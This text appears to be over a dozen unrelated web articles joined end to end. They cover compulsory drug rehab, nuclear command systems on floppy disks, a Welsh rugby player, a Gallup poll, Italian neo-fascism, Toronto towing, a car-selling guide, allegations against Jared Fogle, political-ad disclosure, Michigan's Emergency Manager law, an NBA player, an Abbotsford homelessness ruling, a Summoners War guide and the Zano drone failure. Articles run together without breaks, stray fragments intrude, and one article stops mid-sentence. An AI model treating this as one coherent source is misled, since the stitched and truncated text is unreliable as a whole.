Drug use is often framed as the one arena of human health that shouldn’t involve personal choice. Quitting cigarettes is optional. So is taking antibiotics for a nasty case of strep throat. If you’ve got cancer and opt to forego chemotherapy, that is your decision. But if you’re a drug user, the logic follows, there’s no way you can lead a worthwhile existence unless you stop.
However, the vast majority of people who use illegal substances are not physically dependent on them – and that even some of those who did live with dependencies still prioritise housing, food and other basic needs over their drugs of choice, contrary to popular perceptions of drug users.
Meanwhile, treatment centres often function on principles similar to those of prisons, confining people in close quarters and imposing heavy surveillance and a strict schedule (and sometimes keeping them on lockdown). Often, there are stringent limits on outside contact, though visits are usually permitted much more frequently than in prison. Treatment centres aren’t required to facilitate residents’ post-treatment search for housing or jobs and, as with prison, it’s difficult to maintain relationships with folks on the outside that might prove helpful in the future.
Even when treatment is mandated, the array of choices at stake is often dramatically determined by social class. As with the enormous class and race-based oppression that shapes every stage of the criminal legal system, a treatment mandate means different levels of liberty and different levels of disconnection, depending on your privilege and financial assets (or lack thereof). Defendants with the economic power to do so can often choose a high-priced, fancier rehab facility instead of the usually underfunded public one. Doing so usually means more individualised care, more comfortable living spaces, more nutritious food, more family involvement and more freedoms.
Meanwhile, one group of drug users is especially underserved by policies focused on treatment as an incarceration alternative: those who wish to enter treatment entirely of their own accord. Even as enthusiasm rises for sending people to treatment centres instead of prison, in many places it’s still quite expensive to get good elective care for addiction. As a former New Jersey drug court prosecutor put it, “The only way you can get the state to pay for drug treatment is to commit a crime and thereafter be sentenced to drug court.” If our leaders want to – as Chris Christie put it – “give people the tools to save their lives,” those tools need to be made available to all people who feel their health is in danger.
Even the most well-meaning liberals must ask themselves: if shepherding live human bodies off to prison to isolate and manipulate them without their permission isn’t ethical, why is shipping those bodies off to compulsory rehab an acceptable alternative? Some studies have posited that “quasi-compulsory” rehab might be ok, ethics-wise, as long as folks are also given the option to go to prison. But when the choices are confinement versus confinement, brutal caging versus gentler caging, what kind of liberty is that?
Can freedom be boiled down to a game of choose-your-own-cell?A new report has revealed that large swathes of America’s nuclear arsenal are still managed and controlled using a 1970s computer system that uses eight-inch floppy disks.
According to a report from the US Government Accountability Office (GAO), the Department of Defense (DOD), “coordinates the operational functions of the United States’ nuclear forces, such as intercontinental ballistic missiles, nuclear bombers, and tanker support aircrafts” using the pre-historic computer systems they were first built on.
That same report went on to explain that US taxpayers spend $61 billion a year on maintaining ageing technologies, some three times more than the government spends on new systems.
much future.
“This system remains in use because, in short, it still works,” Pentagon spokeswoman Lt Col Valerie Henderson told the AFP news agency.
But there’s something that works, and then there’s something that works but is a complete ball-ache. Floppy disks are the latter.
Just to put it into context, the eight-inch disks America’s nuclear gatekeepers are using have 237.25KB of memory, which is roughly enough to store 15 seconds of audio. Which to be fair, is plenty of time to enjoy this to the full.
But if you wanted to compare it to an inexpensive 32GB memory card, you would need more than 130,000 disks to contain the same amount of storage. Fun fact, if you stacked the disks one on top of another, they would be more than 200 meters tall!
Credit: Shutterstock These bad boys are keeping you safe at night.
Thankfully, the Department of Defense is slowly updating their systems. “The floppy drives are scheduled to be replaced with secure digital devices by the end of 2017,” said Henderson.
The report said that the Pentagon was planning to fully replace the system by the end of 2020. But, there are legacy pieces of IT hanging around all over America’s extensive government machine.
At the Department of the Treasury, the Individual Master File, which contains the bulk of the data on individual taxpayers and tax assessment was built to run on a programming language that only works on really old IBM mainframes.
So you might not want to throw away those old FORTRAN programming books just yet if you’re thinking about a job in IT for the US government.
THE U.S. IS RUNNING PART OF ITS NUCLEAR FORCES ON 8-INCH FLOPPY DRIVES on Newsweek
Read next: Uber now uses Foursquare data because it doesn't know where you're goingJonathan Davies: A New Attitude, A New Player.
Welsh centre Jonathan Davies gives clues to his rapid rise in securing the Welsh centre spot and why he’s a real Lions contender for the 2013 tour.
On his attitude to “doing the extras”:
“I changed my work ethic because I thought that was an issue,”
“Previously, I had a view that when we finished training, I had done enough.
“So, to improve, I took it on myself to do the extras, to work on the areas of my game I want to get better.”
On how he’s developed in the last year:
“From a personal point of view, I sense I have got a lot more confidence in myself,” said Davies.
“I have thoroughly enjoyed the last year. It’s been up and down but to be a part of everything has been great.”
On becoming a senior player at the Scarlets and developing a young backline:
“I’m a lot more confident with everything. The more you play you feel a more senior member of the group.
“When you are young you look up to people but there’s more responsibility as a senior player. “I feel one of the oldest. It’s almost come because of the group we have got – it’s quite young in the backs.” “It’s time for us to step up and lead the group behind the scrum,” “I am really excited about next season. I have been in and out of Parc y Scarlets the last couple of weeks and the boys have been working extremely hard.”
Davies in action for Scarlets and Wales:PRINCETON, NJ -- Americans put reforming immigration and reducing gun violence -- the focus of much of the attention on Capitol Hill in recent weeks -- at the bottom of a list of 12 priorities for Congress and the president to address. Americans instead say leaders in Washington should give highest priority to jobs and the economy, followed by making government work more efficiently and improving the quality of education.
These data are from Gallup Daily tracking conducted May 4-5, in the midst of continuing disagreements on how to reform the nation's immigration laws, and highly contentious lobbying on the part of gun control groups and the National Rifle Association on the issue of gun laws. But these arguments clearly do not reflect the average American's views on what should occupy the time of those in Washington. The roughly half of Americans who indicate they would like Congress and the president to make reducing gun violence and reforming immigration top priorities is more than 30 percentage points lower than the 86% who say creating jobs and growing the economy should be a top or a high priority.
The average priority rating for all 12 issues tested is 71%. In addition to making the government work more efficiently and improving education, Americans give the financial problems with Social Security and Medicare an above-average rating. At the other end of the scale, reforming the tax code, and reducing poverty and inequality are significantly below the overall average. The complete results for each issue are on page 2.
Democrats Put a Much Higher Priority on Healthcare and Guns
Republicans and Democrats assign similar priority ratings to a number of issues, including creating jobs, growing the economy, making the government work more efficiently, addressing problems with Social Security and Medicare, and reforming the tax code.
But Democrats and Republicans give vastly different ratings to two issues -- access to healthcare and reducing gun violence. Democrats are more than 30 points more likely than Republicans to say improving access to healthcare and reducing gun violence should be top or high priorities for Congress and the president. The differences in views of healthcare may reflect the highly politicized nature of the Affordable Care Act, and the divergent perspectives on gun violence underscore that this issue has taken on significant political overtones.
Democrats also give higher priority to reducing poverty and inequality, reducing the costs of healthcare, and improving education.
Republicans are more likely than Democrats to prioritize reducing the federal deficit and reforming immigration. The interpretation of Republicans' higher interest in government "reforming" immigration may reflect a number of factors, including the possibility that Republicans may favor the government's taking more actions to restrict illegal immigration or to deal with illegal immigrants already in the country.
Implications
Many factors come into play in determining the priority Congress and the president give to specific legislation and other policy actions, particularly including pressure from interest groups and lobbyists, and the decisions of the president or specific influential members of Congress to push certain issues. For example, gun control groups put a renewed focus on gun legislation after the tragic shootings at Newtown, Conn., last December. Immigration reform -- long a congressional interest -- has received a new push since the 2012 elections that highlighted Republicans' weakness with Hispanic voters.
Still, despite this interest-group pressure, when the views of all Americans are averaged together, reducing gun violence and immigration reform receive the lowest priority rankings of the 12 issues tested. Instead, Americans would urge their elected representatives to focus on creating jobs, improving the economy, making the government run more efficiently, and improving the quality of education.
"Creating jobs" and "helping the economy grow" are of course broad and diffuse goals that do not easily translate into specific legislation. And even though there is significant consensus across party lines that these two issues should be given high priority, there are fundamental party disagreements on the broad approach that can be taken to achieve these goals. These disagreements no doubt have kept the Congress and the president from moving forward on these issues -- but to the degree that these elected representatives feel it is their duty to follow the wishes of those they represent, they would renew their focus on efforts to come to consensus on reaching these goals.In Sicily, the new headquarters of Brothers of Italy, a descendant of the post-fascist Italian Social Movement, had the phrase “Italians first” written on the wall during its recent inauguration.
Anti-immigration sentiment has grown so popular that the once-secessionist Northern League has dropped the word “Northern’” from its name as it looks for inroads to the south.
The anti-establishment Five Star Movement, while ideologically amorphous, has charismatic firebrand leaders who take the stage to the chanting of their nicknames and then rile up crowds with a message of resentment.
All of this makes CasaPound’s leaders hopeful that Italy is newly fertile ground for fascism.
The Italian Constitution bans “the reorganization in any form of the dissolved Fascist Party.” But CasaPound and other neo-fascist movements have skirted the law by calling themselves the descendants of Mussolini. They insist that they believe in democracy and not a fascist dictatorship.
CasaPound began 14 years ago as a sort of fascist version of the populist Rent Is Too Damn High Party in New York. It now has thousands of chapters around the country.
“We are a young and clean political force,” said Simone Di Stefano, the party’s vice president, as he stood under posters of Mussolini in its Roman headquarters.
The building, which sits incongruously in the heart of an immigrant neighborhood in central Rome, has served as the party’s home since its leader, Gianluca Iannone, a tattooed and extravagantly bearded member of a right-wing punk band, led followers to occupy the apartments.The City of Toronto plans to overhaul how it governs towing companies — an industry plagued with illegal kickbacks given to drivers who take damaged vehicles to a particular garage.
There are already penalties, of course.
In fact, two tow truck drivers face fraud charges in recent separate incidents, police announced in a news release Wednesday.
But it's unclear how many others are not getting caught. And those in the towing and insurance sectors told CBC Toronto that the unlawful referrals happen regularly.
T.O. towing fees less than in Vaughan, Mississauga
The president of the provincial towing association blames the city for the practice, saying that its capped fees — $166 for street tows, $188 for highway pickups — are much lower than those charged in other GTA municipalities.
It creates a system that "encourages" tow truck drivers to seek "tips" elsewhere, Joey Gagne said — though he argued in an interview on Metro Morning that "99 per cent of tow truck operators charge the fees as they are set."
Vehicles that need a tow in Mississauga pay a flat rate of $290, according to its bylaw. Vaughan towing firms can charge $250, plus a $67 hourly fee if the truck has to wait for more than 60 minutes.
After an accident, motorists could be vulnerable to being taken in by tow truck drivers, who may refer them to an autobody shop in exchange for kickbacks. (CBC)
It's why Gagne said the towing industry has routinely called on Toronto for price hikes.
Rates are something municipal staff will review, along with charging and billing practices and consumer protection.
Ontario conducted a similar review in 2015, vowing to crack down on corrupt practices in towing. That probe happened after insurers complained that kickbacks and other unethical practices — like storing an owner's car and not telling them about the mounting bill — had been driving up insurance payouts.
But those costs trickle back down to consumers through higher premiums, David Orazietti, the former minister of Consumer Services, told CBC Toronto at the time of Ontario's public consultations.
No guarantee of quality repair
While Gagne argued that other industries, like real estate, offer cash for referrals, an Insurance Bureau of Canada spokesperson said customers need to know that they're getting a recommendation based on the tow truck driver's interests rather than their own.
Insurance companies also have preferred vendors, Pete Karageorgos acknowledged. But in that case, they're the ones paying for the cost of repairs and "will stand behind the quality of the work."
In an interview on Metro Morning, he said that when it comes to tow truck operators, "transparency is key."
"Consumers don't know. You've been involved in a crash, you're not thinking straight, and perhaps there is an arrangement that is hidden between a body shop and tow truck operator," he said.
Municipal staff will report on the outcome of the consultation and their recommendations to the licensing and standards committee in June.After a home, a car is most likely the most expensive thing you’ll ever buy. Add to that the amount of money and time invested in maintaining a vehicle, the emotional attachment people have to them and their value as assets or collectibles and it becomes clear why finding the right option when selling is so important.
This is exactly why we have created the ‘How to Sell My Car’ guide, to clarify the different choices and to make sure all that time, money and emotional investment is not lost by helping you get maximum value. The guide is in three parts, firstly, expert information and statistics on second hand car sales, secondly a blog which looks at the pros and cons of different selling methods and finally a visual step-by-step checklist to go through when selling a car.
Elin and Joe.
Part One – What The Experts Say
Part Two – How To Sell Your Car For Maximum Value
Part Three – The 5 Step Checklist For Selling Your Car
Part One – What The Experts Say
We surveyed some of the top motoring journalists and experts from the UK and US as well as compiling useful statistics on used car sales to create the slideshow below. You can pause the slideshow to flick through at your own pace or just let it play.
Part Two – How To Sell Your Car For Maximum Value
Option One – Cash for cars companies.
e.g: www.webuyanycar.com, www.sellyourjamjar.co.uk, www.cash4cars.co.uk
Cash for cars companies have exploded over the last five years, you almost certainly will have heard their annoyingly memorable radio adverts or celebrity-narrated TV spots. The reason for their success is the same reason any customer service is successful, because it offers convenience and simplicity. They offer to take any car off your hands and have a step-by-step process that can be easily navigated.
You enter your vehicle’s details through their website, receive a quote in seconds, book an in-branch appointment and negotiate following an inspection. Designed to appeal to people without much experience of selling cars and to those who need a quick sale, they have formed a profitable niche in an incredibly competitive market. But how do they make money and how does that affect the value you get when selling them your car?
Well, once they have purchased a vehicle it ends up being sold on in the wholesale market through car auctions or through dealers, this should indicate how important to their business model it is to keep valuations low and negotiate hard. If they were to buy a car at the average market price, there’s no margin at all.
If you enter the process with your eyes open and understand how these companies work, it may be that their service works for you, they do have many satisfied customers. Some have also been criticised by consumer charity Which?, The Advertising Standards Authority and the Office of Fair Trading for misleading practices and advertising claims.
The Bottom Line: If you really don’t have the time to pursue the other options on the list or cannot find anyone to take your car, you may want to see what offers cash for cars companies will give you. But bear in mind that convenience comes with a cost, possibly in the £1000s.
Option Two – Adverts.
e.g. Autotrader, Exchange and Mart, Gumtree, sellyourcar.motors.co.uk
There are an overwhelming variety of sites that allow you to list your car for sale, some free, some charged and almost all offering interaction with potential buyers. Each site also has very clear and helpful guides letting you know exactly what information to post, but are flexible enough that you can sell your car in an individual way.
Autotrader is arguably the number one used car advertising site, much like similarly established car trader magazine Exchange and Mart they have now transferred all their business online after seeing print circulation decline by 90% over the last decade.
They have a large reach, in the millions, and boast 3x more buyers than the next closest competitor. You will have to pay, basic ads for cars less than a £1000 start at £9.99, up to £56.00 for a six week multi-platform advert. They also offer a free valuation service to help decide your asking price.
Gumtree offer free ad placements, but also feature a range of upgrades to ‘spotlight’ your car. Less well known sites like Preloved.co.uk and Freeads.co.uk have a smaller reach but are completely free and easy to use. Pistonheads.com has a classifieds section and are part of the same publishing group as What Car? Magazine, offering 30 day ads for £11.99.
One of the great strengths of advertising online is also one of the weaknesses, it exposes your car to a huge audience and makes it incredibly easy for people to get in touch, which unfortunately means spammers and scammers can get in touch and potentially waste your time whilst having no genuine interest in your car. They may be car dealers looking for bargains or worse people phishing or trying to sell you something.
This does not mean there aren’t plenty of genuine people out there looking to buy your car, but that sifting through the nonsense might take some time. Including a phone number on your ad rather than purely relying on email is wise, as genuine buyers will be happy to speak on the phone. Other than that, be wary of any contact that asks for details not purely about the car and don’t click any links sent to you.
There are also plenty of offline advertising opportunities, local papers or magazines, noticeboards or the crudest but simplest method – turning your car into a mobile billboard with some fluorescent card and a magic marker.
The Bottom Line: Advertising your own car and hoping to sell to another private individual is the most likely way of getting back the full value of your motor. If you can afford the time and effort and are not driven mad by time-wasters, you can cut out the middle man and keep the savings for yourself.
Option Three – Auctions
e.g BCA, eBay.
Car auctions are a crucial part of the used car market in Great Britain. Although the vast majority of auction trade is wholesale, private sellers are also welcome at car auctions around the country. Auctions act as almost a perfect halfway point between a private sale and selling to a dealer – none of the hassle of a private sale, but without having to personally handle negotiations.
The biggest car auction company in the UK is BCA (British Car Auctions), they sell over a million cars across Europe each year and have 19 auction houses around England, Scotland and Wales. Their Sure Sell service will do all the work for you, including collecting the car, cleaning it, valuing it and auctioning it. They will sell virtually any car, with a few restrictions and deposit the money within 3-5 days.
The risk is of course that you can’t control the exact price your car will sell for, though you can set a reserve price, and if your car doesn’t sell you will have to pay for it to be relisted or returned, as well as still paying a not sold fee. As a test I entered my postcode and a car valued at £1500, the quote I was given to sell the car at British Car Auctions Enfield, with valeting and a mechanical report, came to £183.60 (£264.00 with collection) if the car sold at full value and £144.60 (£305.40 with collection) if the car didn’t sell and had to be returned. So although it’s an effortless service, the costs can add up and considering the car will be sold to trade, you’re essentially adding another middle man to the process, reducing your cut of the car’s value even further.
The other auction alternative is of course eBay, which has become a huge player in the used car market. It costs £10 to list a car and then 1% of the final selling price (up to a maximum of £35) and has one of the best interfaces for adding information, photos and interacting with potential buyers. It does suffer the same problems other listing sites have of time-wasters and phoney bidders, but its flexibility and relatively low listing prices are benefits.
The Bottom Line: Auctions are riskier than the other methods as you’re relying on offers rather than negotiations, they do offer convenience and the ability to set a minimum price, but the fees can add up if your car fails to find a buyer.
Option Four – Part-Exchange
e.g Perry’s, McCarthy Cars, Evans Halshaw, Truecar.com
Naturally part-exchange means you’re on the lookout for a new car and so would not apply to people simply looking to raise money from a sale. Going to a dealership can be daunting as you’re negotiating with professionals who spend all day dealing with cars and will know exactly how much yours is worth. But the important thing is not to try and outsmart a car dealer, but to negotiate and agree a value that you’re happy with and that allows you to avoid the hassle of a private sale.
The appeal of part-exchanging is the simplicity, if you’re setting out to buy a new car, nothing’s easier than swapping your old one while you are there, combining the buying and selling into one deal. It’s also the case that if you’ve done your homework you should be able to find a dealer that has a good reputation and that you can trust when trading in your car.
The complex part of this approach is getting the best out of both ends of the deal, i.e making sure the amount of money you have to pay on top is as small as possible. When negotiating prices, you will be trying to get a discount on the new car as well as getting the maximum value for the old one and so it’s not as simple as finding the dealer who values your current car the highest.
If you can, negotiate a price for the new car before introducing the idea of part-exchanging your old one, that way the price won’t be inflated to compensate for them buying the old one. You can always walk away, and don’t forget that with a private sale you can do for yourself exactly what the dealer will be doing with your car.
The Bottom Line: A part-exchange is a simple way of cashing in your old car, but will require skilful negotiations and will mean taking less than the maximum value of your car. Cash speaks volumes and selling your old car first may give you more power when agreeing the deal for a new one.
Ultimately the choice of where to sell your car comes down to how much time you are willing to invest to get the maximum value. There are plenty of options for a quick sale if you are willing to give up 100s, even 1000s of pounds or if you fancy a private sale it may lead to hassle, time wasted and snowballing costs, but does give you greater control and better chance at keeping the price high.
Whichever you choose, being informed about the value of your car and the market for it is key, so do your research, explore as many different avenues as possible and remember that while the car is still your asset, it is still you that’s in control.
Part Three – Sell My Car – The 5 Step Checklist For Selling Your Car
We’ve created this handy visual guide to help remind you of the important steps to take when selling a car. You can click on the image to see a larger version.
[With thanks to Ray Paulsen, Rory Reid, Jon Bentley and James Foxall for their quotes.]
If you are interested in borrowing against your luxury or classic car, contact Borro today.The FBI has subpoenaed text messages from former Subway spokesman Jared Fogle in which he allegedly admits having paid $100 for sex with a 16-year-old girl.
Business Insider reports Fogle had been messaging a woman—who formerly worked as a Subway franchisee—with whom he was having a sexual relationship. In the messages, sent in 2008, Fogle allegedly asked the woman to advertise herself on Craigslist where she would offer sex with other men while Fogle watched.
This exchange led the woman to ask Fogle, "Is this the same website you found that 16-year-old girl that you f**ked…I still can't believe you only paid $100 for her." Fogle is said to have responded, "It was amazing," according to the report.
"This allegation, if true, is appalling and is contrary to the values of our brand," said a Subway brand spokeswoman. "As previously stated, we have suspended our relationship with Jared."
Business Insider spoke with the former franchisee's lawyer; both the lawyer and the franchisee asked to remain anonymous. The woman's relationship with Fogle allegedly took place between January and June 2008.
Although the age of consent is 16 in Indiana, where Fogle lives, the FBI has subpoenaed the messages as part of an ongoing investigation, the woman's lawyer tells Business Insider. It was unclear if the messages were being sought by authorities because they could be evidence of prostitution or because of Fogle's other alleged sexual references to minors. FBI officials would neither confirm nor deny that they were requesting the messages.
The woman brought the text messages to Subway after she became uncomfortable with her relationship with Fogle, but the brand did nothing with the information, Business Insider reports.
"We have no record that this alleged complaint was ever brought to our attention," said the Subway spokeswoman. "Had it been, we would have immediately taken action."
The woman is said to have met Fogle at a Subway function and then began a six-month relationship with him. When she began feeling uncomfortable in the relationship—he also allegedly asked to meet with her under-age cousin—the woman hired a lawyer to see if she had violated her franchisee contract.
The woman requested that all marketing materials or mentions of Fogle be removed from her store location. She is also said to have told Subway upper management that Fogle should "not be interacting with young people."
The text messages were taken from her phone in an affidavit, and that affidavit is what the FBI has subpoenaed, the woman's lawyer told Business Insider.
As Subway's pitchman for the past 15 years, Fogle helped boost the company's profile. Since suspending its relationship with Fogle, Subway has removed all mention of him from its website and social media accounts.
Subway's chief marketing officer Tony Pace is also on his way out. He will step down next month to start his own marketing consulting firm. Subway, which spent $534 million in media in 2014, is reviewing its creative business, which MMB handled for the last 10 years.What the law requires What advertisers file Here are some examples of "disclosures" that fall well short of the standards outlined above in McCain-Feingold law: The only name (and signature) on this Susan B. Anthony list form is Pam Mello. She's vice president for media services at Design4 Marketing Communications, according to her web bio.
This form from Freedomworks has no names on it at all. A box indicating this is an issue of national importance is checked, but the issue listed is just "Freedomworks".
This form from Independence USA at an Orlando, Fla. station doesn't list a candidate (although the group supported Democratic candidate Val Demings). The name listed on the form is Jeff Scattergood. He works at Abbar Hutton Media.
A decade after a landmark campaign finance reform law mandated that TV stations collect the names of board members or executive officers of independent groups running political ads for federal candidates or any "national legislative issue of public importance," records show broadcasters often ignore the rules.
Spot checks by the Sunlight Foundation found numerous instances where political advertisers did not provide information required by the 2002 Bipartisan Campaign Finance Reform Act (also known as the McCain-Feingold law after its authors, Sen. John McCain, R-Ariz., above left, and former Sen. Russ Feingold, D-Wis.,above right). These requirements have become particularly important in the wake of the Supreme Court's 2010 Citizens United decision, which gave rise to shadowy outside political groups organized as "social welfare" non-profits and therefore not required to disclose their leadership to the Federal Election Commission. Public tax filings with this information often don't arrive until years later.
As a result, the disclosures that McCain-Feingold requires advertisers to make at television stations have become the only means of determining who is behind the nonprofit groups that pumped more than $300 million into the 2012 campaign. But the Federal Communications Commission, which is in charge of enforcing the law, so far has not taken action against stations that appear to have flouted it.
In some of the records examined by Sunlight, advertisers explicitly refused to provide the required information but were still allowed to place their ads. In others, they complied with misleading language in the most widely used form for reporting information on political advertisers. Called the NAB form because it's published by the National Association of Broadcasters, it invites filers to list the name of an "authorized agent" instead of the groups' principals. That undercuts explicit requirements in the McCain-Feingold law (See inset at right for the relevant passage).
The distinction is significant: An "authorized agent" can be (and often is, in the filings Sunlight reviewed) a professional media buyer who works for dozens of committees and whose name reveals nothing about a group's ideology or funding sources. The identities of a group's officers or trustees generally are much more informative.
Stations, which are supposed to collect the information, have little incentive to pick a fight with advertisers who are paying top-dollar for air time, notes Meredith McGehee, policy director of the Campaign Legal Center.
"Look they made billions of dollars, much of it from the super PACs, so why bite the hand that feeds you?" she said.
Developed decades ago, well before enactment of McCain-Feingold, the NAB form nowhere indicates that the information it requests falls short of the law's requirements. As a result, many political advertisers fail to provide the information that the law requires.
Disclosure gap
The extent of the disclosure gap has become visible for the first time thanks to a 2012 decision by the Federal Communications Commission (FCC) to make network affiliates in the nation's top TV markets post the political ad files online. But if the nation's telecommunications watchdogs have served as champions of online disclosure, they seem less comfortable with the role of election law enforcer that has been foisted upon them by the changing campaign finance law.
An examination of the FCC's web docket reveals little evidence of any aggressive policing of the political advertisers. In just over 200 public file enforcement actions taken since 2000, and online here, the word "political" appears in 13 (the public file includes other information besides political ad disclosures). The only punitive actions taken (typically fines of $2,000-$10,000) came when the entire file was missing, often along with other public material. Asked to identify any enforcement actions taken on the basis of information missing from political files, the FCC press office declined to answer directly, but made clear it isn't actively auditing these papers. "The commission routinely relies on complaints.... in enforcing the political programming rules and statutory provisions," the office wrote in a statement.
There may be a simple explanation for a lack of complaints: while the ad documents are officially public, until last year the only way to see them was to request them, in paper, by visiting individual stations. Beginning last August, however, stations in the nation's top 50 TV markets affiliated with broadcast |
state-wide level the way Scott Walker did in Wisconsin. Instead, they went after the most impoverished communities, using the Emergency Manager Law, which gives them the power to tear apart union contracts, sell public assets and ignore elections.
The evidence shows that this law does not work and, worst of all, it is not designed to work.
At the heart of this is a desire to privatize public services, something Chris calls an “egregious transfer/siphoning of public resources, in this case tax revenues, to the private sector.” (I just want to know: Where is an example of a service being privatized in America that resulted in a better deal for taxpayers?)
Emergency Manager Laws are a right-wing think tank wet dream designed to wrest power from poor communities that refuse to vote Republican. The success in wresting public assets and good jobs from the middle class in Michigan has led to a similar law in Indiana. There’s no doubt if it successfully breaks unions and removes voters from the process of allocating funds there, it will spread everywhere.
So what do you do when you have a law that the public opposes? In Michigan, you circulate a petition to get enough signatures to get the question on the ballot alongside the names of many of the elected officials who voted for it.
Opponents of the Emergency Manger Law did just that.
Republicans claim to hate bureaucracy—but Michigan’s GOP then used the bureaucratic power they have from controlling nearly all of the state government to throw the petitions out because of FONT SIZE, a claim that FONT experts reject.
So opponents of the Emergency Manager Law sued. And what does a GOP-dominated court do?
The Michigan Court of Appeals ruled today that the petitions for the repeal of Michigan’s Emergency Manager law did NOT comply with the law. This is despite the sworn printer’s affidavit and expert analysis proving otherwise.
Chris suggests this all about delaying. Either this kangaroo jostling will go on so long that the question will not be on the ballot in November, or proponents of overturning the law won’t have time to mount a proper campaign. It’s just another way the GOP is using their power to prevent voting from getting in the way of their agenda.
What’s at stake in Michigan is the right of people to elect their own officials and make their own decisions to govern themselves. The GOP increasingly recognizes that their own obstacle to implementing their agenda are elections. If they can use laws to keep people from voting and courts from keeping issues they don’t like on the ballot, what’s lost is not local control, but democracy itself.
Sincerely,
Your pal LOL
[CC image by Rhys Asplundh, who has a dope photostream | Flickr]1 of 5
Mark J. Rebilas-USA TODAY Sports
Age: 26
Free-Agency Status: Unrestricted
2016-17 Per-Game Stats: 6.8 points, 1.6 rebounds, 1.2 assists, 0.5 steals, 0.1 blocks, 48.7 percent shooting
Ian Clark is a fine addition...if you have four All-NBA talents on the roster who turn him into a sharpshooting afterthought and garbage-time superhero. And even with those safety nets in place, Clark continued his Jekyll and Hyde act, as Bleacher Report's Adam Fromal aptly pointed out:
"Which Ian Clark is for real? The one who thrived at the beginning of the season, averaging 7.6 points per game during his first five appearances while slashing 51.9/41.7/83.3? The one who slumped during the end of the year, slashing 45.0/18.2/87.5 in his final 14 games? The one who's shown the ability to explode off the pine during the playoffs?
Someone is still going to pay Clark a handsome sum that pries him from the Golden State Warriors. There isn't as much money floating around the NBA this summer compared to last July, when he was also a free agent, but he upped his shooting percentages from 2015-16 while seeing more time as one of Stephen Curry's two primary backups.
Next year's mid-level exception is expected to come in around $8.4 million, and "executives believe he could command a deal" worth more than that, according to The Vertical's Shams Charania. Imagine Ian Clark making something like $10 million per year. Anything close to that is far too much.
More than 50 percent of Clark's field-goal attempts this past season came with a defender four or more feet away from him. He won't enjoy that same luxury on another roster and doesn't have the chops to create his own offense while also maintaining his efficiency. He banged in 40 percent of his pull-up jumpers, coughed up possession a little too often out of pick-and-rolls and barely shot 30 percent in a limited number of one-on-one situations.
Asking him to do more, outside the comfy confines of Golden State's offense, is reasonable. But paying him the entire mid-level exception and then some to try expanding his horizons is a reckless errand.On Friday, March 27, the B.C. Court of Appeal delivered two rulings that represent significant victories for homeless people in Abbotsford and across Canada.
The court heard two appeals regarding whether or not groups representing vulnerable people who are unable to come to court individually can challenge state actions that breach the rights of their members.
The appeals stem from actions involving the City of Abbotsford and the Abbotsford Police Department. Days before Christmas 2013, the City evicted a number of homeless people from Jubilee Park in downtown Abbotsford. In 2014, the BC/Yukon Association of Drug War Survivors (DWS) filed a constitutional challenge responding to that eviction and challenging three municipal bylaws that affect the city’s homeless population. Many members of DWS were part of that eviction. Their landmark case will be heard by the B.C. Supreme Court over a six-week period, starting on June 29, 2015.
Following two days of hearings, three justices of the Court of Appeal dismissed the City of Abbotsford’s argument that the BC Supreme Court should not hear how police and city staff enforced bylaws against the city’s homeless population.
The Court of Appeal disagreed with the argument that the Abbotsford Police Department is a third-party and that the City, therefore, cannot be held responsible when their police officers breach people’s constitutional rights.
The Court of Appeal also ruled that DWS should not have to pay over $20,000 for documents required from the Abbotsford Police for the upcoming trial. The Court of Appeal found that DWS should not bear these costs at this time because DWS has raised serious allegations of police misconduct against Abbotsford’s homeless. The question of who should pay will now be decided after trial.
These are important access to justice victories for DWS, and homeless and marginalized people in general. The court’s ruling reduces the barriers that marginalized groups may face when bringing an action against public institutions like the city and police.
Pivot Legal Society is representing DWS at trial this summer, challenging the City of Abbotsford’s Consolidated Parks Bylaw, Consolidated Street and Traffic Bylaw, and Consolidated Good Neighbour Bylaw that prohibit sleeping in a park overnight, erecting a basic survival structure, and even sleeping in a car.
If their challenge is successful, it will result in those bylaws being struck down, a recognition that if there are a lack of housing options the law can not stand in the way of access to basic safety measures.
Ultimately, it could lead to an important shift away from policing and criminalizing homelessness, compelling governments to start working towards long-term and sustainable solutions for housing people.How Leo Works
Leo is used by many top end players to combat the widely used speed based defenses in game. In Summoners War, the player that moves first has an overwhelming advantage. Normally the first turn goes to the fastest monster. Leo, however, is able to change this order, and help a player with slower monster still get first turn.
First, let me go into how speed and turn order are determined without Leo. In traditional fights, the base speed of a monster is modified by leader skill and the speed gain via towers. This value is then added onto the speed added by runes. This total value is then compared to all of the monsters on the playing field and the fastest is determined.
This monster is then given 100% attack bar, and based on their individual speed; the other monsters are given a percentage of the fastest monster’s atk bar to start. (eg. If fastest monster in battle has 250 speed, a monster with 125 speed will have 50% attack bar at the start of combat.)
Attack bars then move proportionally to each other. Because their speeds determines how fast attack bars build, pre-established turn orders can become out of sync if some monsters are too fast to others.
Leo’s passive completely changes how attack bars work relative to one another. Leo CAPS the speed of all monsters to his speed, but will not increase them to match his. Because of this, all monsters at or above his speed have 100% attack bar.
Since all monsters are at 100% atk bar, the turn order is determined by the speed of monsters as calculated above in instances with no Leo. Because of this, sometimes it is actually beneficial to use speed lead with Leo, simply to assure next turn.
The second part of Leo’s passive causes all of his attacks to reduce the attack bar of his target by 10%. This reduction can be resisted, and prevented with will runes. However, since it is not an actual debuff that is applied onto the target, it cannot glance and fail.
When Leo attacks a target, he reduces its atk bar by 10%, thus making it 90% and the slowest monster in the battle. If used on an opponent Chloe or Bernard, this causes said monster to move last, and gives a players attack bar boosting monster the chance to move next, even if it’s slower than the opponent’s initially faster monster.
This also allows a player to change an opponent’s sequence of events in regards to speed tuning. For instance, if a player uses galleon paired with a nuker, using Leo to attack galleon would cause galleon to move after the nuker, which would completely cripple the nuker’s capabilities.Less than a week after Torquing Group announced that it was dissolving, Kickstarter said it is mystified as to how the British startup and its Zano drone raised $3.4 million in less than a year then totally collapsed.
In a statement sent to backers on Monday, Kickstarter wrote that it was "extremely frustrated by what’s happened with this project."
We learned the news of the Zano bankruptcy the same way that you did—through a bare-bones project update. We e-mailed the creators as recently as two weeks ago to encourage them to be more communicative with their backers, but received only a cursory response. You deserve more than that, and we are committed to helping backers get to the bottom of what happened here. Today we sent an e-mail to the Zano team informing them of their obligations to backers and asking them to share an open and transparent update on what happened with the project. We have asked them to post this update by Monday, November 30. If they do not adequately brief backers by that time, Kickstarter will independently pursue an inquiry into the Zano project. Should this occur, we will share those findings with you, the backers, once completed.
David Gallagher, a Kickstarter spokesman, did not immediately answer Ars’ questions as to what exactly this "inquiry" would entail, nor how often Kickstarter has engaged in such activity previously. [: Gallagher responded, declining to answer Ars' questions.]
According to one Zano-owner Facebook group, the Pembrokeshire County Council is also conducting its own inquiry.
